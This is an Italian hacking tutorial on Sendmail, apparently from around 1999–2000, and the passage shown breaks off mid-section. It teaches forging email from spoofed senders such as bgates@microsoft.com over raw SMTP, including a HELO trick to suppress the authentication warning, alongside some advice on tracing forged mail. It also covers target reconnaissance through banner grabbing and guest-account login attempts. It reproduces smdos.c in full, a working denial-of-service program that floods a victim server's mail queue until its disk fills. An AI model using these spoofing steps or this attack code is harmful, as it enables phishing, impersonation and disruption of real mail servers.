Contenuti
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-Sendmail? Huh?
* Cos'è Sendmail?
* Per cosa è usato?
* Perchè i dovrei voler conoscere Sendmail?
-Come creo email fasulle che sembrano vere?
* Intendi che posso mandare e-mail da bgates@microsoft.com or bclinton@whitehouse.org?!
* E' possibile creare una e-mail al 100% autentica?
* Come posso imparare i comandi del rude Sendmail da solo?
* Ma se sono lento? Me li puoi insegnare per favore?
* Come posso seguire le tracce delle false email malfatte?
* Come posso seguire le tracce delle false email più sofisticate?
* Posso essere beccato?
* Sarò beccato?
-Hackerare un server? Attraverso Sendmail?!
* Posso realmente hackerare un host che esegue Sendmail?
* Perchè Sendmail è chiamato "Il daemon più ricco
di bug della terra" comunque?
* Ok, fantastico, adesso come posso farlo?
* Puoi dirmi di più circa i vari buchi nella sicurezza di Sendmail?
* Dove posso trovare più buchi sulla sicurezza di Sendmail?
* Come posso sapere quale versione di Sendmail ha l'host obbiettivo?
* Perchè dovrei curarmene comunque?
* Come posso usare gli archivi BugTraq per trovare i buchi che sto cercando?
* Posso essere acchiappato?
* Sarò acchiappato?
* note finali
-Okay, io posso hackerare un host che esegue Sendmail. Come lo posso fare?
* Un DoS(29) locale in tutte le versioni di Sendmail successive la 8.9.3
* Bug nel comando HELO di Sendmail
* Bug gigante in Sendmail 8.8.4
* Note finali
-Angolo dei Newbies
* Cos'è un daemon?
* Cos'è una porta?
* Cos'è un service?
* Cos'è un daemon banner?
* Cos'è un timeout (in termini di computer)?
* Cos'è TCP e come lavora?
* Cos'è UDP e come lavora?
* Cos'è ICMP e come lavora?
* Cos'è un indirizzo IP?
* Cos'è un hostname?
* Come scoprire quali sono i server di posta del tuo ISP?
* Cos'è un portscanner?
* Cos'è un services scanner?
* Cosa/Chi è un root?
* Cos'è un ampiezza di banda?
* Cos'è un programma client?
* Cos'è un server DNS?
* Cos'è telnet (il telnet daemon e il programma telnet)?
* Cos'è un interprete dei comandi?
* Cos'è uno shell account?
* Cos'è un sysadmin?
* Cos'è l'iper testo?
* Cos'è un RFC?
* Cos'è interNIC?
* Cos'è un sotto dominio (e quanto costa un dominio veramente)?
* Cos'è SSH?
* Cos'è una mailing list moderata/bacheca messaggi?
* Cos'è un attacco DoS?
* Cos'è DUN?
* Cos'è un account dial-up?
* Cos'è un password file di Unix?
* Cos'è un thread?
-Appendice A: falsi daemons
* Falso daemon di Sendmail
* Falso daemon di telnet
-Appendice B: lettere deviate
* Come poso deviare la mia posta?
* Come questo mi può aiutare?
-Appendice C: falsificare l'IP del mittente
* Come posso falsificare il mio IP nell'header dell'e-mail?
* Dove posso leggere di più su questo genere di cosa?
-Appendice D: replay-to
* Cosa fa l'opzione replay-to?
* Come uso ciò?
-Appendice E: CC e BCC
* Cosa fanno questi comandi?
* Come li uso?
Sendmail? Huh?
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Sendmail è un daemon(1) che aspetta connessioni sulla porta(2) 25. E'
usato per inviare la posta in uscita.
Per esempio: il tuo email provider (probabilmente il tuo ISP (Internet Service
Provider) probabilmente usa due servers (a meno che non è un account
di posta basato sul web come Hotmail.com):
1) mail.boring-ISP.net (probabilmente porta 110): per la posta in entrata
2) smtp.boring-ISP.net (probabilmente porta 25): per la posta in uscita
Il più delle volte i servers di posta sono abbastanza simili a questo,
ma gli indirizzi variano a seconda dei differenti ISP.
Mail.boring-ISP.net potrebbe richiedere un username e una password così
che le persone non sono capaci di leggere la tua posta, così saltiamo
questo (potrei discutere il cracking di queste password in un altro tutorial,
ma ricorda, io ti sto insegnando queste cose così che tu
conoscerai come lavorano i malicious crackers e come non cadere nei loro trucchi,
non per farti infrangere la legge e danneggiare gli altri, poi vedi tu questo
è un paese libero... =) Adesso tanto sorprendente quanto potrebbe suonare,
smtp.boring-ISP.net non richiederà una
password o ogni altro tipo di identificazione.
Se tu ti colleghi tramite telnet(19) in smtp.boring_ISP.net sulla porta 25 e
digiti i comandi esatti, sarai capace di mandare e-mail false. Interessante...
Huh?
Adesso la parte più fantastica è che puoi hackerare un server
o almeno farlo cadere lanciando Sendmail, poichè Sendmail contiene un
mucchio di merda di bugs a buchi nella sicurezza.
Come posso creare e-mail fasulle che sembrano vere?
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Come menzionato nel capitolo precedente, mandare e-mail non richiede che tu
abbia un account sulla macchina dalla quale stai mandando l'e-mail (il server
per la posta, non il tuo computer). Tutto quello di cui hai bisogno è
conoscere l'indirizzo IP(9) / hostname(10) del server della posta e i comandi
di Sendmail. Presumiamo che tu conosci l'IP/hostname del tuo obbiettivo. Se
tu non conosci questi importanti
dettagli, per favore vai a Come scoprire(11). Adesso
procediamo con questo. Questa volta, diversamente dai precedenti tutorials,
"imparerò" tutto da capo e ti descriverò e guiderò
attraverso l'intero processo di apprendimento e ad usare quello
che hai imparato.Okay, cominciamo.
Il nostro obbiettivo per oggi è smtp.someone.it sulla porta 25.
Primo, collegati tramite telnet in quella porta digitando "telnet smtp.someone.it
25" (senza le virgolette) su uno standard Unix, o c:windowstelnet.exe
o dal tuo telent preferito digitando smtp.someone.it nel campo host e 25 nel
campo della porta, o eseguendo il telnet preferito da XWIndows (un interfaccia
grafica per Unix. Se tu sei bravo abbastanza da eseguire una qualche versione
di Unix non ti dovrebbe risultare difficile trovarne una. Se tu non gradisci
il telent di default puoi sempre andare su www.linuxberg.com e prenderne uno)
e digitando i dettagli corretti (host e porta). Nota su VT: ti potrebbe essere
richiesto il tipo di terminale durante il processo di connessione. Qualcosa
con VT e alcuni numeri dopo hmmm.....VT sta per Virtual Terminal. Poichè
ci sono alcuni tipi di terminale (tutti i generi di monitor, vecchi terminali
di stampa, ecc..) ti verrà chiesto di sceglierne un tipo. VT100 dovrebbe
andare bene per molti.
Nota circa lo shell account(21): se tu non stai eseguendo Unix e vorresti usare
strumenti di Unix su un sistema Unix mentre lavori, connettiti tramite telnet
a nether.net sulla porta 23, accedi come newuser e ottieni uno shell account
gratuito. Se tu sei un utente maggiormente dei programmi per windows (io uso
la roba di windows quando lavoro da windows, eccetto in certe condizioni in
cui io veramente ho bisogno di Unix e non ho voglia di resettare e riavviare.
In questo caso, mi procuro uno shell account così che posso usare le
cose di Unix da window) vai avanti (le cose lavoreranno più velocemente
poichè i programmi sono attualmente collocati sulla tua macchina, non
su qualche computer distante che esegue uno shell account), ma io ti raccomando
di prendere uno shell account su nether.net (in fatti loro ti insegneranno un
sacco di cose fantastiche su Unix quando ti registrerai). Nota sulla connessione
telnet da machintosh: machintosh non ha un programma telnet in dotazione. Comunque,
ne puoi scaricare uno da www.ncsa.edu/SDG/Software/MacTelnet/ (grazie a little_v
per questo!).
Adesso, vediamo cosa otteniamo dopo che ci siamo
connessi con telnet a smtp.someone.it:25 (in questo
caso, il carattere : sta per 'sulla porta').
220 alpha.someone.it ESMTP Sendmail 8.9.3/8.8.6; thu, 8 Jul 2000 21:46:01 +0000
(GMT).
AHA! Questo è... questo è... COSA
DIAVOLO E' QUESTA COSA? Questo, amico mio, è un daemon banner(4), e ci
ha appena dato tonnellate di preziosi pezzi di informazione! Normalmente, queste
informazioni sono destinate a un programma client(16) per determinare quale
versione
di Sendmail il bersaglio sta eseguendo e come comunicare con esso (il programma
dovrebbe sapere che, per esempio, ogni versione di Sendmail inferiore alla 7.0.0
usa il comando 'halb' invece del comando 'blah', ecc..). Questo daemon banner
è anche una grande cosa per gli hackers e i crackers, poichè possiamo
determinare quale versione del nostro obbiettivo è eseguita. Dopo quando
discuteremo su come hackerare il server, queste informazioni saranno estremamente
preziose. Okay, analizziamo cosa abbiamo...
220... non sappiamo che significa per ora...
alpha.someone.it niente fortuna, non può fare niente così...
ESMTP...hmm... SMTP sta per Simple Mail Transfer Protocol. E' il protocollo(18)
usato dai clients di posta per comunicare con i daemons Sendmail, e questo è
quello che stiamo provando a imparare proprio ora. ESMTP è Extended SMTP.
E' più o meno lo stesso di SMTP, solo che contiene alcuni comandi in
più. Lasciamo stare questo per il momento.
Sendmail 8.9.3/8.8.6 - AHA! Ecco qualcosa di interessante. Sappiamo la versione
del daemon Sendmail!
Ricordati questo, ci aiuterà durante il prossimo capitolo (hacking in
un server che esegue Sendmail).
Il resto è immondizia (ora,data, ecc..).
Okay, andiamo avanti... come posso comunicare con questa cosa?
Er... proviamo a digitare 'help' (senza le virgolette). Oh, approposito, è
normale non vedere quello che
digiti quando comunichi con Sendmail poichè non ti rimanda indietro i
tasti digitati. Devi selezionare
"local echo" sul tuo programma telnet per poter vedere cosa digiti.
214- This is Sendmail version 8.9.3
214- Topics:
214- HELO EHLO MAIL RCPT DATA
214- RSET NOOP QUIT HELP VRFY
214- EXPN VERB ETRN DSN
214- For more info use "HELP"
214- To report bugs in the implementation send email to
214- sendmail-bugs@sendmail.org.
214- For local information send email to Postmaster at your site.
214- End of HELP info
Weeeee! Questo è grande!!!
A questo punto avresti dovuto supporre che questo numero (il 220 nel daemon
banner e il 214 qui sopra) è in realtà un 'tipo del messaggio'.
Esso esprime il tipo del messaggio che ricevi. Ogni tipo di messaggio (errore
a causa di questo, errore a causa di quello, aiuto per questo, messaggio di
conferma per quello ecc..) ha il suo proprio numero. Okay, andiamo avanti. Proviamo
a digitare 'help helo'.
214- HELO
214- Introduce yourself
214- End of HELP info
Visto? Io te l'avevo detto. 214 è il numero
del tipo di messaggio usato per i messaggi di help. Okay, in questo modo tu
puoi praticamente insegnarti cosa fa ogni comando di Sendmail. Fermati subito,
leggi tutti i messaggi di help e poi continua. E' importante che tu impari come
imparare le cose da solo. Potresti vedere alcune note riguardanti la parola
RFC(24) e alcuni numeri. Puoi trovare RFC a
www.linuxberg.com. Nota su ESMTP: ricordi quell'ESMTP di cui abbiamo parlato
prima? Potrai ottenere un buon indizio su cos'è ESMTP leggendo i messaggi
di help. Si, sto provando a obbligarti a leggerli... fallo! Essi contengono
tonnellate di fantastiche informazioni tanto per i newbies che per i professionisti.
Okay, presumo (e spero) che tu abbia finito
di leggere tutti quei messaggi di help. Adesso andiamo avanti. Per primo abbiamo
bisogno di indicare un mittente. Facciamo questo digitando
'MAIL FROM: <bgates@microsoft.com>'
(rimuovi le virgolette e sostituisci l'indirizzo fasullo con quello che preferisci,
ma lascia < e >).
Il mail server dovrebbe rispondere on questo messaggio:
250 bgates@microsoft.com... Sender ok
Poi digitiamo 'RCPT TO: <vitt@lamer.com>'
(sostituendo vitt@lamer.com con l'indirizzo a cui vogliamo inviare l'e-mail)
Dovremmo ottenere:
250 vitt@lamer.it... Recipient ok
Puoi aumentare i destinatari semplicemente ripetendo
l'operazione più volte, logicamente con diversi destinatari.
Adesso, pensiamo al corpo del messaggio. Digita
'data' per incominciare a scrivere il corpo del messaggio.
354 Enter mail, end with "." on a line
by itself
Adesso digitiamo un pò di cose...
Subject: fake mail (nota circa questa linea: con
questa linea tu puoi determinare quale soggetto vuoi dare al tuo messaggio).
Salve. Questa è una e-mail falsa.
Sono annoiato, preferirai fare qualcosa di più serio...
Datemi qualcosa da HACKERARE!!!!
.
Adesso otteniamo questo
250 CAA15133 Message accepted for delivery
Adesso ti starai chiedendo cosa diavolo è
quella sigla dopo 250. Questa è chiamata message ID (o MID). E' solo
uno stupido numero, ma lo useremo in seguito... non tormentare la tua preziosa
testa per questo. Adesso, se tu sei se tu fossi il ricevente avresti un falsa
e-mail attendibile al 100%? O no?
Diamo un'occhiata a cosa otterrà il ricevente...
Hmmmm... sembra un messaggio comune. Almeno per un utente comune...
Diamo un occhiata alle proprietà.
Le proprietà sono alcune linee che arrivano con ogni indirizzo email.
La maggior parte dei client di posta attuali mostrano solo le parti più
semplici delle proprietà (mittente, soggetto, data, ecc..), ma adesso
abbiamo bisogno delle proprietà complete.
Su Netscape Messanger per mostrare le proprietà vai su View ==> Headers
==> All. Su eudora si fa clickando sul bottone che mostra la didascalia "blah
blah blah" quando lasci il puntatore del mouse su di esso per un paio di
secondi. Compuserve automaticamente mostra le proprietà complete. Su
outlook, fai click col tasto destro del mouse sul messaggio, scegli proprietà
e poi dettagli.
Su pine, dovresti avere un opzione da qualche parte nello schermo di configurazione
che ti lascia scegliere quale tipo di header vuoi vedere (intero o breve). Adesso
diamo uno sguardo alle proprietà, fatto?
Received: from alpha.netvision.net.il (alpha.netvision.net.il
[194.90.1.13])
by cmx.netvision.net.il (8.9.3/8.9.3)
with ESMTP id CAA15313 for victim@victim.com>; Sat, 10 Jul 1999 02:49:59
+0000 (GMT)
From: bgates@microsoft.com
Received: from some.hostname.crap.com (some.hostname.crap.com [62.0.146.225])
by alpha.someone.com (8.9.3/8.8.6)
with SMTP id CAA15313 for victim@victim.com; Sat, 10 Jul 1999 02:55:46 +0300
(IDT)
Date: Sat, 10 Jul 1999 02:55:46 +0300 (IDT)
Message-ID: <199907092355. CAA15313@alpha.someone.com>
X-Authentication-Warning: alpha.someone.com: some.hostname.crap.com [62.0.146.225]
didn't use HELO protocol
Subject: Fake mail
Status:
X-Mozilla-Status: 8001
X-Mozilla-Status2: 00000000
X-UIDL: 3752da3b000002ff
Yeahhh! Guarda tutti questi numeri, lettere e
cose incomprensibili!
Incominciamo da sopra:
Received: from alpha.netvision.net.il (alpha.netvision.net.il [194.90.1.13])
by cmx.netvision.net.il (8.9.3/8.9.3) with ESMTP id CAA15313 for victim@victim.com>;
Sat, 10 Jul 1999 02:49:59 +0000 (GMT) così l'email è stata ricevuta
da alpha.netvision.net.il (alpha.netvision.net.il [194.90.1.13]).
Che significa? Una piccola verifica sul database di InterNIC(25) (digitando
'whois alpha.netvision.net.il' senza le virgolette su un sistema Unix o su SamSpade
per windows scaricabile a www.samspade.org) rivela che è posseduta da
someone.com. Questo è una sorta di sub-server che essi usano per mandare
posta.
Lasciamolo da parte non è importante per noi ora. La parte (alpha.netvision.net.il
[194.90.1.13]) mostral'hostname(10) e l'indirizzo IP(9) del server dal quale
è stata mandata l'e-mail.
Ohh, ohh, aspetta! La mail non dovrebbe essere stata mandata da microsoft.com?
Mi spiego, il mittente è bgates@microsoft.com! Se noi avessimo mandato
l'email da microsoft.com invece che da someone.com ciò non sarebbe dovuto
accadere. Sarebbe sembrata una normale email...da bill gates... bene, almeno
così alla lontana.
Comunque, il resto è semplicemente il MID (di cui ci occuperemo in seguito)
e la data del messaggio (la data di spedizione) in accordo con il server dal
quale è stato mandato. La parte +0000 (GMT) significa che è stato
mandato da una zona che ha il fuso orario di Greenwich. Se fosse stato mandato,
per esempio, dalla zona di tempo +0200 ciò avrebbe significato che questo
fuso orario è attualmente quello di Greenwich più due ore. Cerca
la tua zona di fuso orario così che sarai capace di spostare la zona
di tempo e quando è stato mandato il messaggio nel tuo orario. Adesso,
ci sono cose più importanti.
From: bgates@microsoft.com
Bene, suppongo che questa linea sia ovvia, andiamo
avanti.
Received: from some.hostname.crap.com (some.hostname.crap.com
[62.0.146.225]) by alpha.someone.com
(8.9.3/8.8.6) with SMTP id CAA15313 for victim@victim.com; Sat, 10 Jul 1999
02:55:46 +0300 (IDT)
Okay, adesso questo è veramente interessante.
Qui abbiamo l'hostname e l'IP del mittente. Nota circa l'hostname: un utente
dial-up(31) avrà un lungo e contorto hostname. Per esempio: il mio hostname
adesso (almeno quando stavo scrivendo queste cose) era RAS4-p97.hfa.netvision.net.il
. Netvision.net.il è il mio ISP, e il resto è per lo più
merda (presta particolare attenzione a 'hfa'. Hfa sta per Haifa, che è
la mia città. Ciò significa che mi sto connettendo tramite il
server di Netvision di Haifa. Visto? L'hostname può essere interessante).
A questo punto ti devi essere accorto che l'hostname che vediamo non proviene
certamente da microsoft.com, e che il server per la posta che ha mandato questo
messaggio non è esattamente microsoft.com o un sub-domain(26) di microsoft,
il che mostra che quest'e-mail è chiaramente falsa. Un'altra nota circa
l'hostname: qualche volta tu potresti non avere un hostname, ma tu avrai sempre
un indirizzo IP. Puoi trovare l'hostname dell'IP (la maggior parte degli IP
ha un hostname) digitando 'nslookup indirizzo-ip' senza le virgolette su un
sistema Unix o andando su www.samspade.org e usando il loro programma di ricerca
DNS(17). Se tu ancora non riesci a ottenerlo prova un whois.
Per superare questo problema, devi fare due cose:
1) Mandare quest'e-mail dal server Sendmail di microsoft.
2) Mandare quest'e-mail da un account che è connesso al web tramite microsoft.
Se non puoi averne uno,
ciò mostrerà chiaramente nelle proprietà che la mail non
è stata mandata da microsoft.
Nota: un bel trucco per infilare qualcuno: se
il tuo ISP è bla.com, puoi mandare ai tuoi amici un e-mail da admin@bla.com
che sembrerà al 100% autentica!
Comunque, i prossimi pochi caratteri ci daranno
il MID (Message ID), in aggiunta agli altri pezzi di informazioni. Avevo promesso
che avremmo trattato del MID, non è vero? Se tu pensi che qualcuno ti
sta giocando uno scherzo facendoti credere di essere qualcun'altro, manda un
e-mail a abuse@tuo.ISP.it oppure abuse@server.che.contiene.il.MID.com. Per sapere
quale server contiene il MID, abbiamo bisogno di saltare un pò di linee
(due attualmente - time e data) e andare diritto a questo: Message-ID:
Message-ID: <199907092355. CAA15313@alpha.someone.com>
Aha! Guarda questi interessanti numeri! E osserva
questo: CAA15313@alpha.someone.com! Questo significa che tutte le informazioni
riguardanti il MID sono contenute presso alpha.someone.com! Mandiamo un email
a abuse@alpha.someone.com e diciamo loro che noi pensiamo di aver ricevuto un'email
falsa, includendo tutte le proprietà. La prossima cosa che faremo sarà
la stessa con l'ISP del mittente
(nel nostro caso, il mittente è someone.hostname.crap.com [62.0.146.225],
che significa che probabilmente il suo ISP è crap.com).
Adesso passiamo alla prossima linea:
X-Authentication-Warning: alpha.someone.com: some.hostname.crap.com
[62.0.146.225] didn't use HELO protocol
Dannazione! Sapevo di aver dimenticato qualcosa!
Adesso facciamo tutto ancora una volta, ma questa volta scriveremo HELO microsoft.com
all'inizio.
HELO microsoft.com
Otteniamo questo:
250 smtp.netvision.com Hello some.hostname.crap.com
[62.0.146.225], pleased to meet you
Il resto è esattamente come l'ultima volta
(mittente,rcpt to, ecc..). Adesso vediamo cosa avrebbe ricevuto
vitt@lmer.it .
Aha! Nessuno X-Authentication-Warning!
Note finali
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Spero che questo capitolo ti sia piaciuto. Adesso hai imparato come fare scherzi
inoffensivi e legali ai tuoi amici, come scoprire email false e come è
facile acchiapparti se fai cose illegali. Oh, a proposito, c'è un modo
per nascondere il tuo IP/hostname quando falsifichi e-mail...
per maggiori informazioni leggi la seconda sezione nel capitolo 'Okay, io posso
hackerare un host che esegue Sendmail. Come lo posso fare?'.
Hackerare un server? Attraverso Sendmail?!
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Yeah, sicuro, perchè no? Mi spiego, OGNI servizio(3) è vulnerabile
a qualche attacco. Per questo io raccomando di eseguire quanto meno servizi
possibile sul tuo computer. Ma il più vulnerabile di tutti è Sendmail
(per questo è chiamato 'il daemon più buggato sulla terra' o 'il
daemon più buggato sul pianeta'). Un membro di una mailing list una volta
mi disse che non poteva proprio aspettare di leggere il tutorial su Sendmail
(questo accadde prima che rilasciassi questo manuale) e che egli stesso eseguiva
Sendmail sul suo computer. Eseguire Sendmail su un pc è inutile e pericoloso.
Se il tuo computer non ha la funzione di server per la posta, non c'è
alcuna ragione per cui tu dovresti eseguire Sendmail (a meno che tu non voglia
che le persone mandino la posta da tuo-account@tuo.ip invece di tuo-account@tuo.ISP.it
. Nota circa tuo-account: nel primo indirizzo, tuo-account è il nome
del tuo username o del tuo computer (gli utenti di Unix dovrebbero sapere di
cosa sto parlando). Nel secondo indirizzo tuo-account è il tuo username
del tuo ISP).
Nota: le informazioni in questo capitolo possono anche essere usate per hackerare
server, o vice versa per proteggere il tuo server. Per favore non infrangere
la legge, o almeno non spifferate il mio nome durante le indagini... =)
Okay. la prima cosa che dobbiamo fare per hackerare
un server attraverso un servizio specifico (o per migliorarne la sicurezza)
è sapere la versione del servizio. Questo può essere facilmente
fatto vedendo il daemon banner(4). Supponiamo che abbiamo sottocchio un computer
che esegue Sendmail 8.8.3 (che era abbastanza vecchio quando questo tutorial
è stato scritto, il che significa che dovrebbe avere un mucchio di bugs.
Sendmail è upgradato principalmente quando un nuovo bug viene scoperto.
In fatti, ogni cosa eccetto la sicurezza del daemon è raramente cambiata
durante gli upgrades).
La prossima cosa che andremo a determinare è l' OS (Operating System)
che esegue questo daemon. Se il daemon banner non ce lo dirà, il daemon
Telnet(19) lo farà. Prima collegati tramite telnet alla porta 23 e incrocia
le dita. Se c'è un daemon su quella porta, è sicuramente il daemon
telnet, e probabilmente ti darà il nome e la versione dell'OS. Se no,
puoi sia:
1) Provare a cercare per un guest account (username: guest password:guest, username:newuser
password:newuser), poichè alcuni sistemi danno certe informazioni solo
dopo che ti sei loggato.
2) Mandare un e-mail a admin@tuo-obbiettivo.it e chiedergli (io consiglio aprendo
un mailbox su uno di questi servizi di mailbox gratuiti come hotmail e mandando
da lì, in quanto alcuni admnin(22) potrebbero avere qualche sospetto...)
3) Provare ad andare sul sito del tuo bersaglio. Questo genere di informazioni
potrebbe esserci, qualche volta (mahhh...)
Se non hai trovato ancora l'OS, non temere! Siamo
ancora capaci di fare un fantastico hackeraggio senza quest'informazione, ma
tuttavia questa informazione potrebbe venirci in aiuto, così fai di tutto
per ottenerla!
La prossima cosa, navigherai su alcuni database
online finchè avrai trovato il buco che stai cercando. Prima di tutto
ti mostrerò i più grandi e raccomandati database online, e poi
ti insegnerò come cercarli, oltre ad alcuni concetti di valore e parole
che ti debbono essere familiari.
Packet Storm Security
+++++++++++++++++++++++++++++++++++
URL:http://packetstorm.security.com
Uno dei più grandi database online per informazioni riguardanti la sicurezza.
Io raccomando di andarci almeno una volta al giorno e leggere la sezione 'New
Files Today', che tu stia cercando un specifico buco o no.
L'archivio fu fondato da Ken Williams e ottiene centinaia di migliaia di visite
la settimana.
E' stato recentemente trasferito nella proprietà di Kroll-O-Nagra (www.security.com).
Security Focus
++++++++++++++++++++++++++++++++++++
URL:http://www.securityfocus.com
Un altro database completo. Aggiornato giornalmente. Qui i ragazzi non dormono
mai!
BugTraq
++++++++++++++++++++++++++++++++++++
URL: ospitato da Security Focus, precedentemente ospitato da Netspace BugTraq
è una delle migliori mailing list. La lista è moderata, il che
significa che se tu trovi un nuovo buco nella sicurezza, puoi solo mandare il
tuo messaggio al moderatore, Aleph1 (aleph1@undergound.org). Aleph1 filtra tutta
la spazzatura, i messaggi dei lamers, e i vecchi bugs e spedisce solo le cose
utili alla lista.
Io consiglio di segnarsi a www.securityfocus.com. Puoi anche solo cercare nel
loro archivio, che è a proposito il mio database preferito, andando a
securityfocus.com e cercando un link chiamato 'search'.
Ricerca
*********
Se stiamo cercando un bug in Sendmail 8.8.3, dobbiamo digitare le seguenti parole
chiave "sendmail 8.8.3" (senza le virgolette). Se erchiamo qualcosa
di specifico, come un attacco locale DoS(29) contro una qualsiasi versione di
Sendmail, useremo le seguenti parole hiave:
'local DoS Sendmail' ecc...
Ricerca Packet Storm
++++++++++++++++++++++++
Packet Storm dovrebbe avere un motore di ricerca da qualche parte (Ken cambia
la grafica ogni tanto quindi non posso darti l'esatta posizione). Puoi dividere
i risultati della ricerca che otterrai in due categorie: testi e programmi.
Per esempio: hai cercato un buco specifico e hai ottenuto un paio di files di
testo e un paio di programmi. I files di testo spiegano i bug e come sfruttarli,
mentre i programmi usano il buco per riuscire ad entrare. Questi programmi sono
spesso chiamati 'exlploits' e generalmente sono costituiti da un codice sorgente
invece che da un file binario. Lasciatemi spiegare: un file binario è
qualsiasi file non fatto di testo. Files eseguibili sono in genere files binari.
Adesso, nel nostro caso, i programmi sono dati come codici sorgenti invece che
binari. Il codice sorgente si converte in un eseguibile binario (eccetto i codici
sorgenti scritti in Perl, che possono essere eseguito sotto forma di codice
se si ha il programma giusto). Comunque, questi programmi sono dati come codici
sorgente per darti la possibilità di capire come lavorano e non di eseguirli
ciecamente.
Ricerca Security Focus
+++++++++++++++++++++++++
Security Focus offre informazioni più organizzate. Invece di vari pezzi
di informazioni, security focus offre articoli. Questi includono l'esatta definizione
del bug, dove e quando si può verificare,
come risolverlo ecc.. . L'unico difetto di security focus è che è
più piccolo degli altri database.
BugTraq
++++++++++
Ah... il mio database preferito. Quando le persone inviano qualche messaggio
a bugtraq circa un buco nella sicurezza che hanno trovato, le altre persone
possono rispondergli e condividere il loro punto di vista. Per esempio: se il
difetto persiste anche sul loro computer, come risolvere il bug in vari modi,
cosa causa il bug in primo luogo ecc.. . Puoi compilare un database con tutte
le informazioni necessarie semplicemente leggendo un paio di lettere.
Venire acchiappati
*********************
Se stai progettando di fare qualcosa di cattivo, per favore non farlo. Puoi
essere acchiappato.
Crackers migliori di te già sono stati acchiappati. Non essere stupido.
Okay, io posso hackerare un host che esegue Sendmail.
Come lo posso fare?
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Ho fatto una simpatica lista di alcuni buchi nella sicurezza riguardanti Sendmail
giusto per dartene un idea.
Un DoS(29) locale in tutte le versioni di Sendmail
superiori alla 8.9.3 (preso da packet storm)
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Date: Sat, 3 Apr 1999 00:42:56 +0200 From: "[iso-8859-2] Micha³ Szymañski"
To: BUGTRAQ@netspace.org
Subject: Re: Possible local DoS in sendmail
Ciao gente,
Questo attacco queue filling DoS in sendmail è
abbastanza pericoloso. Ma una buona politica di sicurezza (come la mia) preventiverà
attacchi che facciano queste cose. Files di controllo (in /var/spool/mqueue)
creati con 'sendmail -t' sono posseduti da root.attacker's_group; cambia le
quote per il gruppo 'attacker's_group' sul file system contenete il directory
/var/spool/mqueue, e il tuo host non sarà più vulnerabile.
Ancora più pericolosi sono gli attacchi queue filling DoS remoti. Se
ti è consentito ritrasmettere, puoi usare il programma mostrato sotto:
smdos.c; riempirà abbastanza velocemente la partizione sul disco dove
risiede /var/spool/mqueue. Dovresti notare un incremento di LA durante l'attacco;
in contrasto con l'attacco DoS locale, i files di controllo creati da smdos.c
sono posseduti da root, così è più
difficile prevenire attacchi da esso;
Non dimenticare di cambiare la definizione di
BSIZE (in smdos.c) all'appropriata limitazione della grandezza del messaggio
host della vittima (MaxMessageSize option); puoi anche incrementare la definizione
di MAXCONN.
smdos.c:
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/*
By Michal Szymanski <siwa9@box43.gnet.pl>
Sendmail DoS (up to 8.9.3);
Sat Apr 3 00:12:31 CEST 1999
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <errno.h>
#undef VERBOSE /* define it, if MORECONN is undefined
*/
#define MORECONN
// #define RCPT_TO "foo@ftp.onet.pl"
#define RCPT_TO "foo@10.255.255.255"
#ifdef MORECONN
#define MAXCONN 5
#endif
#define BSIZE 1048576 /* df* control file size
*/
#define PORT 25
char buffer[BSIZE];
int sockfd,x,loop,chpid;
void usage(char *fname) {
fprintf(stderr,"Usage: %s <victim_host>n",fname);
exit(1);
}
void say(char *what) {
if (write(sockfd,what,strlen(what))<0) {
perror("write()");
exit(errno);
}
#ifdef VERBOSE
fprintf(stderr,"<%s",what);
#endif
bzero(buffer,BSIZE);
usleep(1000);
if (read(sockfd,buffer,BSIZE)<0) {
perror("read()");
exit(errno);
}
#ifdef VERBOSE
fprintf(stderr,buffer);
#endif
}
int main(int argc,char *argv[]) {
struct sockaddr_in serv_addr;
struct hostent *host;
char *hostname,hostaddr[20];
fprintf(stderr,"Sendmail DoS (up to 8.9.3)
by siwa9 [siwa9@box43.gnet.pl]n");
if (argc<2) usage(argv[0]);
#ifdef VERBOSE
fprintf(stderr,">Preparing address. n");
#endif
hostname=argv[1];
serv_addr.sin_port=htons(PORT);
serv_addr.sin_family=AF_INET;
if ((serv_addr.sin_addr.s_addr=inet_addr(hostname))==-1)
{
#ifdef VERBOSE
fprintf(stderr,">Getting info from DNS.n");
#endif
if ((host=gethostbyname(hostname))==NULL) {
herror("gethostbyname()");
exit(h_errno);
}
serv_addr.sin_family=host->h_addrtype;
bcopy(host->h_addr,(char *)&serv_addr.sin_addr,host->h_length);
#ifdef VERBOSE
fprintf(stderr,">Official name of host: %sn",host->h_name);
#endif
hostname=host->h_name;
sprintf(hostaddr,"%d.%d.%d.%d",(unsigned
char)host->h_addr[0],
(unsigned char)host->h_addr[1],
(unsigned char)host->h_addr[2],
(unsigned char)host->h_addr[3]);
}
else sprintf(hostaddr,"%s",hostname);
#ifdef MORECONN
for (;loop<MAXCONN;loop++) if (!(chpid=fork())) {
#endif
for(;;) {
bzero(&(serv_addr.sin_zero),8);
if ((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
{
perror("socket()");
exit(errno);
}
if ((connect(sockfd,(struct sockaddr *)&serv_addr,sizeof(serv_addr)))
== -1) {
perror("connect()");
exit(errno);
}
#ifdef VERBOSE
fprintf(stderr,">Connected to [%s:%d].n",hostname,PORT);
#endif
bzero(buffer,BSIZE);read(sockfd,buffer,BSIZE);
#ifdef VERBOSE
fprintf(stderr,buffer);
#else
fprintf(stderr,".");
#endif
say("helo foon");
say("mail from:root@localhostn");
say("rcpt to:" RCPT_TO "n");
say("datan");
for (x=0;x<=BSIZE;x++) buffer[x]='X';write(sockfd,buffer,BSIZE);
say("n.n");
sleep(1);
say("quitn");
shutdown(sockfd,2);
close(sockfd);
#ifdef VERBOSE
fprintf(stderr,">Connection closed succesfully.n");
#endif
}
#ifdef MORECONN
}
waitpid(chpid,NULL,0);
#endif
return 0;
}
------+++++++++++++------
Bug nel comando HELO di Sendmail (preso da rootshell.com)
********************************
Nota: questo non ti darà l'accesso root(14), ma è lo stesso abbastanza
figo. In fatti ti permette di nascondere il tuo IP/hostname quando invii una
e-mail falsa!!!
[http://www.rootshell.com]
Noi avevamo questo exploit da gennaio ma non l'abbiamo archiviato finchè
tutti hanno implementato una versione stabile di Sendmail 8.9.x. (e perchè
l'ultima cosa che voglio è aiutare gli spammers) E' stato fatto cos'
su Bugtraq per evitare ulteriori problemi.
--Rootshell 5/28/98
Date: Fri, 22 May 1998 12:36:54 +0300
From: Valentin Pavlov
Subject: about sendmail 8.8.8 HELO hole
Io ritengo che questo sia abbastanza vecchio (10
gennaio 1998) ma ancora...
